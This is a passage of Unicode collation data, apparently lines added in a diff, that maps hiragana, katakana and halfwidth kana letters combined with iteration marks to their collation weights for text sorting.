+FF8A FF9F 30FE ; [.3D74.0020.0011.0002][.0000.0038.0002][.3D74.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HA, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+3071 309E ; [.3D74.0020.0011.0001][.0000.0038.0002][.3D74.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER PA, HIRAGANA VOICED ITERATION MARK>
+306F 309A 309E ; [.3D74.0020.0011.0001][.0000.0038.0002][.3D74.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HA, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
+30D2 30FD ; [.3D75.0020.0011.0002][.3D75.0020.0010.0002] # <KATAKANA LETTER HI, KATAKANA ITERATION MARK>
+FF8B 30FD ; [.3D75.0020.0011.0002][.3D75.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HI, KATAKANA ITERATION MARK>
+3072 309D ; [.3D75.0020.0011.0001][.3D75.0020.0010.0002] # <HIRAGANA LETTER HI, HIRAGANA ITERATION MARK>
+30D2 30FE ; [.3D75.0020.0011.0002][.3D75.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HI, KATAKANA VOICED ITERATION MARK>
+FF8B 30FE ; [.3D75.0020.0011.0002][.3D75.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HI, KATAKANA VOICED ITERATION MARK>
+3072 309E ; [.3D75.0020.0011.0001][.3D75.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HI, HIRAGANA VOICED ITERATION MARK>
+30D3 30FD ; [.3D75.0020.0011.0002][.0000.0037.0002][.3D75.0020.0010.0002] # <KATAKANA LETTER BI, KATAKANA ITERATION MARK>
+30D2 3099 30FD ; [.3D75.0020.0011.0002][.0000.0037.0002][.3D75.0020.0010.0002] # <KATAKANA LETTER HI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+FF8B FF9E 30FD ; [.3D75.0020.0011.0002][.0000.0037.0002][.3D75.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HI, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+3073 309D ; [.3D75.0020.0011.0001][.0000.0037.0002][.3D75.0020.0010.0002] # <HIRAGANA LETTER BI, HIRAGANA ITERATION MARK>
+3072 3099 309D ; [.3D75.0020.0011.0001][.0000.0037.0002][.3D75.0020.0010.0002] # <HIRAGANA LETTER HI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
+30D3 30FE ; [.3D75.0020.0011.0002][.0000.0037.0002][.3D75.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER BI, KATAKANA VOICED ITERATION MARK>
+30D2 3099 30FE ; [.3D75.0020.0011.0002][.0000.0037.0002][.3D75.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+FF8B FF9E 30FE ; [.3D75.0020.0011.0002][.0000.0037.0002][.3D75.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HI, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+3073 309E ; [.3D75.0020.0011.0001][.0000.0037.0002][.3D75.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER BI, HIRAGANA VOICED ITERATION MARK>
+3072 3099 309E ; [.3D75.0020.0011.0001][.0000.0037.0002][.3D75.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
+30D4 30FD ; [.3D75.0020.0011.0002][.0000.0038.0002][.3D75.0020.0010.0002] # <KATAKANA LETTER PI, KATAKANA ITERATION MARK>
+30D2 309A 30FD ; [.3D75.0020.0011.0002][.0000.0038.0002][.3D75.0020.0010.0002] # <KATAKANA LETTER HI, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA ITERATION MARK>
+FF8B FF9F 30FD ; [.3D75.0020.0011.0002][.0000.0038.0002][.3D75.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HI, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA ITERATION MARK>
+3074 309D ; [.3D75.0020.0011.0001][.0000.0038.0002][.3D75.0020.0010.0002] # <HIRAGANA LETTER PI, HIRAGANA ITERATION MARK>
+3072 309A 309D ; [.3D75.0020.0011.0001][.0000.0038.0002][.3D75.0020.0010.0002] # <HIRAGANA LETTER HI, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, HIRAGANA ITERATION MARK>
+30D4 30FE ; [.3D75.0020.0011.0002][.0000.0038.0002][.3D75.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER PI, KATAKANA VOICED ITERATION MARK>
+30D2 309A 30FE ; [.3D75.0020.0011.0002][.0000.0038.0002][.3D75.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HI, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+FF8B FF9F 30FE ; [.3D75.0020.0011.0002][.0000.0038.0002][.3D75.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HI, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+3074 309E ; [.3D75.0020.0011.0001][.0000.0038.0002][.3D75.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER PI, HIRAGANA VOICED ITERATION MARK>
+3072 309A 309E ; [.3D75.0020.0011.0001][.0000.0038.0002][.3D75.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HI, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
+30D5 30FD ; [.3D76.0020.0011.0002][.3D76.0020.0010.0002] # <KATAKANA LETTER HU, KATAKANA ITERATION MARK>
+FF8C 30FD ; [.3D76.0020.0011.0002][.3D76.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HU, KATAKANA ITERATION MARK>
+3075 309D ; [.3D76.0020.0011.0001][.3D76.0020.0010.0002] # <HIRAGANA LETTER HU, HIRAGANA ITERATION MARK>
+30D5 30FE ; [.3D76.0020.0011.0002][.3D76.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HU, KATAKANA VOICED ITERATION MARK>
+FF8C 30FE ; [.3D76.0020.0011.0002][.3D76.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HU, KATAKANA VOICED ITERATION MARK>
+3075 309E ; [.3D76.0020.0011.0001][.3D76.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HU, HIRAGANA VOICED ITERATION MARK>
+30D6 30FD ; [.3D76.0020.0011.0002][.0000.0037.0002][.3D76.0020.0010.0002] # <KATAKANA LETTER BU, KATAKANA ITERATION MARK>
+30D5 3099 30FD ; [.3D76.0020.0011.0002][.0000.0037.0002][.3D76.0020.0010.0002] # <KATAKANA LETTER HU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+FF8C FF9E 30FD ; [.3D76.0020.0011.0002][.0000.0037.0002][.3D76.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HU, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+3076 309D ; [.3D76.0020.0011.0001][.0000.0037.0002][.3D76.0020.0010.0002] # <HIRAGANA LETTER BU, HIRAGANA ITERATION MARK>
+3075 3099 309D ; [.3D76.0020.0011.0001][.0000.0037.0002][.3D76.0020.0010.0002] # <HIRAGANA LETTER HU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
+30D6 30FE ; [.3D76.0020.0011.0002][.0000.0037.0002][.3D76.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER BU, KATAKANA VOICED ITERATION MARK>
+30D5 3099 30FE ; [.3D76.0020.0011.0002][.0000.0037.0002][.3D76.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+FF8C FF9E 30FE ; [.3D76.0020.0011.0002][.0000.0037.0002][.3D76.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HU, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+3076 309E ; [.3D76.0020.0011.0001][.0000.0037.0002][.3D76.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER BU, HIRAGANA VOICED ITERATION MARK>
+3075 3099 309E ; [.3D76.0020.0011.0001][.0000.0037.0002][.3D76.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HU, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
+30D7 30FD ; [.3D76.0020.0011.0002][.0000.0038.0002][.3D76.0020.0010.0002] # <KATAKANA LETTER PU, KATAKANA ITERATION MARK>
+30D5 309A 30FD ; [.3D76.0020.0011.0002][.0000.0038.0002][.3D76.0020.0010.0002] # <KATAKANA LETTER HU, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA ITERATION MARK>
+FF8C FF9F 30FD ; [.3D76.0020.0011.0002][.0000.0038.0002][.3D76.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HU, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA ITERATION MARK>
+3077 309D ; [.3D76.0020.0011.0001][.0000.0038.0002][.3D76.0020.0010.0002] # <HIRAGANA LETTER PU, HIRAGANA ITERATION MARK>
+3075 309A 309D ; [.3D76.0020.0011.0001][.0000.0038.0002][.3D76.0020.0010.0002] # <HIRAGANA LETTER HU, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, HIRAGANA ITERATION MARK>
+30D7 30FE ; [.3D76.0020.0011.0002][.0000.0038.0002][.3D76.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER PU, KATAKANA VOICED ITERATION MARK>
+30D5 309A 30FE ; [.3D76.0020.0011.0002][.0000.0038.0002][.3D76.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HU, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+FF8C FF9F 30FE ; [.3D76.0020.0011.0002][.0000.0038.0002][.3D76.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HU, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+3077 309E ; [.3D76.0020.0011.0001][.0000.0038.0002][.3D76.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER PU, HIRAGANA VOICED ITERATION MARK>
+3075 309A 309E ; [.3D76.0020.0011.0001][.0000.0038.0002][.3D76.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HU, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
+30D8 30FD ; [.3D77.0020.0011.0002][.3D77.0020.0010.0002] # <KATAKANA LETTER HE, KATAKANA ITERATION MARK>
+FF8D 30FD ; [.3D77.0020.0011.0002][.3D77.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HE, KATAKANA ITERATION MARK>
+3078 309D ; [.3D77.0020.0011.0001][.3D77.0020.0010.0002] # <HIRAGANA LETTER HE, HIRAGANA ITERATION MARK>
+30D8 30FE ; [.3D77.0020.0011.0002][.3D77.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HE, KATAKANA VOICED ITERATION MARK>
+FF8D 30FE ; [.3D77.0020.0011.0002][.3D77.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HE, KATAKANA VOICED ITERATION MARK>
+3078 309E ; [.3D77.0020.0011.0001][.3D77.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HE, HIRAGANA VOICED ITERATION MARK>
+30D9 30FD ; [.3D77.0020.0011.0002][.0000.0037.0002][.3D77.0020.0010.0002] # <KATAKANA LETTER BE, KATAKANA ITERATION MARK>
+30D8 3099 30FD ; [.3D77.0020.0011.0002][.0000.0037.0002][.3D77.0020.0010.0002] # <KATAKANA LETTER HE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+FF8D FF9E 30FD ; [.3D77.0020.0011.0002][.0000.0037.0002][.3D77.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HE, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+3079 309D ; [.3D77.0020.0011.0001][.0000.0037.0002][.3D77.0020.0010.0002] # <HIRAGANA LETTER BE, HIRAGANA ITERATION MARK>
+3078 3099 309D ; [.3D77.0020.0011.0001][.0000.0037.0002][.3D77.0020.0010.0002] # <HIRAGANA LETTER HE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
+30D9 30FE ; [.3D77.0020.0011.0002][.0000.0037.0002][.3D77.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER BE, KATAKANA VOICED ITERATION MARK>
+30D8 3099 30FE ; [.3D77.0020.0011.0002][.0000.0037.0002][.3D77.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+FF8D FF9E 30FE ; [.3D77.0020.0011.0002][.0000.0037.0002][.3D77.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HE, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+3079 309E ; [.3D77.0020.0011.0001][.0000.0037.0002][.3D77.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER BE, HIRAGANA VOICED ITERATION MARK>
+3078 3099 309E ; [.3D77.0020.0011.0001][.0000.0037.0002][.3D77.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HE, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
+30DA 30FD ; [.3D77.0020.0011.0002][.0000.0038.0002][.3D77.0020.0010.0002] # <KATAKANA LETTER PE, KATAKANA ITERATION MARK>
+30D8 309A 30FD ; [.3D77.0020.0011.0002][.0000.0038.0002][.3D77.0020.0010.0002] # <KATAKANA LETTER HE, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA ITERATION MARK>
+FF8D FF9F 30FD ; [.3D77.0020.0011.0002][.0000.0038.0002][.3D77.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HE, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA ITERATION MARK>
+307A 309D ; [.3D77.0020.0011.0001][.0000.0038.0002][.3D77.0020.0010.0002] # <HIRAGANA LETTER PE, HIRAGANA ITERATION MARK>
+3078 309A 309D ; [.3D77.0020.0011.0001][.0000.0038.0002][.3D77.0020.0010.0002] # <HIRAGANA LETTER HE, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, HIRAGANA ITERATION MARK>
+30DA 30FE ; [.3D77.0020.0011.0002][.0000.0038.0002][.3D77.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER PE, KATAKANA VOICED ITERATION MARK>
+30D8 309A 30FE ; [.3D77.0020.0011.0002][.0000.0038.0002][.3D77.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HE, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+FF8D FF9F 30FE ; [.3D77.0020.0011.0002][.0000.0038.0002][.3D77.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HE, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+307A 309E ; [.3D77.0020.0011.0001][.0000.0038.0002][.3D77.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER PE, HIRAGANA VOICED ITERATION MARK>
+3078 309A 309E ; [.3D77.0020.0011.0001][.0000.0038.0002][.3D77.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HE, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
+30DB 30FD ; [.3D78.0020.0011.0002][.3D78.0020.0010.0002] # <KATAKANA LETTER HO, KATAKANA ITERATION MARK>
+FF8E 30FD ; [.3D78.0020.0011.0002][.3D78.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HO, KATAKANA ITERATION MARK>
+307B 309D ; [.3D78.0020.0011.0001][.3D78.0020.0010.0002] # <HIRAGANA LETTER HO, HIRAGANA ITERATION MARK>
+30DB 30FE ; [.3D78.0020.0011.0002][.3D78.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HO, KATAKANA VOICED ITERATION MARK>
+FF8E 30FE ; [.3D78.0020.0011.0002][.3D78.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HO, KATAKANA VOICED ITERATION MARK>
+307B 309E ; [.3D78.0020.0011.0001][.3D78.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HO, HIRAGANA VOICED ITERATION MARK>
+30DC 30FD ; [.3D78.0020.0011.0002][.0000.0037.0002][.3D78.0020.0010.0002] # <KATAKANA LETTER BO, KATAKANA ITERATION MARK>
+30DB 3099 30FD ; [.3D78.0020.0011.0002][.0000.0037.0002][.3D78.0020.0010.0002] # <KATAKANA LETTER HO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+FF8E FF9E 30FD ; [.3D78.0020.0011.0002][.0000.0037.0002][.3D78.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA ITERATION MARK>
+307C 309D ; [.3D78.0020.0011.0001][.0000.0037.0002][.3D78.0020.0010.0002] # <HIRAGANA LETTER BO, HIRAGANA ITERATION MARK>
+307B 3099 309D ; [.3D78.0020.0011.0001][.0000.0037.0002][.3D78.0020.0010.0002] # <HIRAGANA LETTER HO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA ITERATION MARK>
+30DC 30FE ; [.3D78.0020.0011.0002][.0000.0037.0002][.3D78.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER BO, KATAKANA VOICED ITERATION MARK>
+30DB 3099 30FE ; [.3D78.0020.0011.0002][.0000.0037.0002][.3D78.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+FF8E FF9E 30FE ; [.3D78.0020.0011.0002][.0000.0037.0002][.3D78.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HO, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+307C 309E ; [.3D78.0020.0011.0001][.0000.0037.0002][.3D78.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER BO, HIRAGANA VOICED ITERATION MARK>
+307B 3099 309E ; [.3D78.0020.0011.0001][.0000.0037.0002][.3D78.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HO, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
+30DD 30FD ; [.3D78.0020.0011.0002][.0000.0038.0002][.3D78.0020.0010.0002] # <KATAKANA LETTER PO, KATAKANA ITERATION MARK>
+30DB 309A 30FD ; [.3D78.0020.0011.0002][.0000.0038.0002][.3D78.0020.0010.0002] # <KATAKANA LETTER HO, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA ITERATION MARK>
+FF8E FF9F 30FD ; [.3D78.0020.0011.0002][.0000.0038.0002][.3D78.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER HO, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA ITERATION MARK>
+307D 309D ; [.3D78.0020.0011.0001][.0000.0038.0002][.3D78.0020.0010.0002] # <HIRAGANA LETTER PO, HIRAGANA ITERATION MARK>
+307B 309A 309D ; [.3D78.0020.0011.0001][.0000.0038.0002][.3D78.0020.0010.0002] # <HIRAGANA LETTER HO, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, HIRAGANA ITERATION MARK>
+30DD 30FE ; [.3D78.0020.0011.0002][.0000.0038.0002][.3D78.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER PO, KATAKANA VOICED ITERATION MARK>
+30DB 309A 30FE ; [.3D78.0020.0011.0002][.0000.0038.0002][.3D78.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER HO, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+FF8E FF9F 30FE ; [.3D78.0020.0011.0002][.0000.0038.0002][.3D78.0020.0010.0002][.0000.0037.0002] # <HALFWIDTH KATAKANA LETTER HO, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA VOICED ITERATION MARK>
+307D 309E ; [.3D78.0020.0011.0001][.0000.0038.0002][.3D78.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER PO, HIRAGANA VOICED ITERATION MARK>
+307B 309A 309E ; [.3D78.0020.0011.0001][.0000.0038.0002][.3D78.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER HO, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, HIRAGANA VOICED ITERATION MARK>
+30DE 30FD ; [.3D79.0020.0011.0002][.3D79.0020.0010.0002] # <KATAKANA LETTER MA, KATAKANA ITERATION MARK>
+FF8F 30FD ; [.3D79.0020.0011.0002][.3D79.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER MA, KATAKANA ITERATION MARK>
+307E 309D ; [.3D79.0020.0011.0001][.3D79.0020.0010.0002] # <HIRAGANA LETTER MA, HIRAGANA ITERATION MARK>
+30DF 30FD ; [.3D7A.0020.0011.0002][.3D7A.0020.0010.0002] # <KATAKANA LETTER MI, KATAKANA ITERATION MARK>
+FF90 30FD ; [.3D7A.0020.0011.0002][.3D7A.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER MI, KATAKANA ITERATION MARK>
+307F 309D ; [.3D7A.0020.0011.0001][.3D7A.0020.0010.0002] # <HIRAGANA LETTER MI, HIRAGANA ITERATION MARK>
+30E0 30FD ; [.3D7B.0020.0011.0002][.3D7B.0020.0010.0002] # <KATAKANA LETTER MU, KATAKANA ITERATION MARK>
+FF91 30FD ; [.3D7B.0020.0011.0002][.3D7B.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER MU, KATAKANA ITERATION MARK>
+3080 309D ; [.3D7B.0020.0011.0001][.3D7B.0020.0010.0002] # <HIRAGANA LETTER MU, HIRAGANA ITERATION MARK>
+30E1 30FD ; [.3D7C.0020.0011.0002][.3D7C.0020.0010.0002] # <KATAKANA LETTER ME, KATAKANA ITERATION MARK>
+FF92 30FD ; [.3D7C.0020.0011.0002][.3D7C.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER ME, KATAKANA ITERATION MARK>
+3081 309D ; [.3D7C.0020.0011.0001][.3D7C.0020.0010.0002] # <HIRAGANA LETTER ME, HIRAGANA ITERATION MARK>
+30E2 30FD ; [.3D7D.0020.0011.0002][.3D7D.0020.0010.0002] # <KATAKANA LETTER MO, KATAKANA ITERATION MARK>
+FF93 30FD ; [.3D7D.0020.0011.0002][.3D7D.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER MO, KATAKANA ITERATION MARK>
+3082 309D ; [.3D7D.0020.0011.0001][.3D7D.0020.0010.0002] # <HIRAGANA LETTER MO, HIRAGANA ITERATION MARK>
+30E3 30FD ; [.3D7E.0020.000F.0002][.3D7E.0020.0010.0002] # <KATAKANA LETTER SMALL YA, KATAKANA ITERATION MARK>
+FF6C 30FD ; [.3D7E.0020.000F.0002][.3D7E.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SMALL YA, KATAKANA ITERATION MARK>
+3083 309D ; [.3D7E.0020.000F.0001][.3D7E.0020.0010.0002] # <HIRAGANA LETTER SMALL YA, HIRAGANA ITERATION MARK>
+30E4 30FD ; [.3D7E.0020.0011.0002][.3D7E.0020.0010.0002] # <KATAKANA LETTER YA, KATAKANA ITERATION MARK>
+FF94 30FD ; [.3D7E.0020.0011.0002][.3D7E.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER YA, KATAKANA ITERATION MARK>
+3084 309D ; [.3D7E.0020.0011.0001][.3D7E.0020.0010.0002] # <HIRAGANA LETTER YA, HIRAGANA ITERATION MARK>
+30E5 30FD ; [.3D7F.0020.000F.0002][.3D7F.0020.0010.0002] # <KATAKANA LETTER SMALL YU, KATAKANA ITERATION MARK>
+FF6D 30FD ; [.3D7F.0020.000F.0002][.3D7F.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SMALL YU, KATAKANA ITERATION MARK>
+3085 309D ; [.3D7F.0020.000F.0001][.3D7F.0020.0010.0002] # <HIRAGANA LETTER SMALL YU, HIRAGANA ITERATION MARK>
+30E6 30FD ; [.3D7F.0020.0011.0002][.3D7F.0020.0010.0002] # <KATAKANA LETTER YU, KATAKANA ITERATION MARK>
+FF95 30FD ; [.3D7F.0020.0011.0002][.3D7F.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER YU, KATAKANA ITERATION MARK>
+3086 309D ; [.3D7F.0020.0011.0001][.3D7F.0020.0010.0002] # <HIRAGANA LETTER YU, HIRAGANA ITERATION MARK>
+30E7 30FD ; [.3D81.0020.000F.0002][.3D81.0020.0010.0002] # <KATAKANA LETTER SMALL YO, KATAKANA ITERATION MARK>
+FF6E 30FD ; [.3D81.0020.000F.0002][.3D81.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER SMALL YO, KATAKANA ITERATION MARK>
+3087 309D ; [.3D81.0020.000F.0001][.3D81.0020.0010.0002] # <HIRAGANA LETTER SMALL YO, HIRAGANA ITERATION MARK>
+30E8 30FD ; [.3D81.0020.0011.0002][.3D81.0020.0010.0002] # <KATAKANA LETTER YO, KATAKANA ITERATION MARK>
+FF96 30FD ; [.3D81.0020.0011.0002][.3D81.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER YO, KATAKANA ITERATION MARK>
+3088 309D ; [.3D81.0020.0011.0001][.3D81.0020.0010.0002] # <HIRAGANA LETTER YO, HIRAGANA ITERATION MARK>
+30E9 30FD ; [.3D82.0020.0011.0002][.3D82.0020.0010.0002] # <KATAKANA LETTER RA, KATAKANA ITERATION MARK>
+FF97 30FD ; [.3D82.0020.0011.0002][.3D82.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER RA, KATAKANA ITERATION MARK>
+3089 309D ; [.3D82.0020.0011.0001][.3D82.0020.0010.0002] # <HIRAGANA LETTER RA, HIRAGANA ITERATION MARK>
+30EA 30FD ; [.3D83.0020.0011.0002][.3D83.0020.0010.0002] # <KATAKANA LETTER RI, KATAKANA ITERATION MARK>
+FF98 30FD ; [.3D83.0020.0011.0002][.3D83.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER RI, KATAKANA ITERATION MARK>
+308A 309D ; [.3D83.0020.0011.0001][.3D83.0020.0010.0002] # <HIRAGANA LETTER RI, HIRAGANA ITERATION MARK>
+30EB 30FD ; [.3D84.0020.0011.0002][.3D84.0020.0010.0002] # <KATAKANA LETTER RU, KATAKANA ITERATION MARK>
+FF99 30FD ; [.3D84.0020.0011.0002][.3D84.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER RU, KATAKANA ITERATION MARK>
+308B 309D ; [.3D84.0020.0011.0001][.3D84.0020.0010.0002] # <HIRAGANA LETTER RU, HIRAGANA ITERATION MARK>
+30EC 30FD ; [.3D85.0020.0011.0002][.3D85.0020.0010.0002] # <KATAKANA LETTER RE, KATAKANA ITERATION MARK>
+FF9A 30FD ; [.3D85.0020.0011.0002][.3D85.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER RE, KATAKANA ITERATION MARK>
+308C 309D ; [.3D85.0020.0011.0001][.3D85.0020.0010.0002] # <HIRAGANA LETTER RE, HIRAGANA ITERATION MARK>
+30ED 30FD ; [.3D86.0020.0011.0002][.3D86.0020.0010.0002] # <KATAKANA LETTER RO, KATAKANA ITERATION MARK>
+FF9B 30FD ; [.3D86.0020.0011.0002][.3D86.0020.0010.0002] # <HALFWIDTH KATAKANA LETTER RO, KATAKANA ITERATION MARK>
+308D 309D ; [.3D86.0020.0011.0001][.3D86.0020.0010.0002] # <HIRAGANA LETTER RO, HIRAGANA ITERATION MARK>
+30EE 30FD ; [.3D87.0020.000F.0002][.3D87.0020.0010.0002] # <KATAKANA LETTER SMALL WA, KATAKANA ITERATION MARK>
+308E 309D ; [.3D87.0020.000F.0001][.3D87.0020.0010.0002] # <HIRAGANA LETTER SMALL WA, HIRAGANA ITERATION MARK>
+30EE 30FE ; [.3D87.0020.000F.0002][.3D87.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SMALL WA, KATAKANA VOICED ITERATION MARK>
+308E 309E ; [.3D87.0020.000F.0001][.3D87.0020.0010.0002][.0000.0037.0002] # <HIRAGANA LETTER SMALL WA, HIRAGANA VOICED ITERATION MARK>
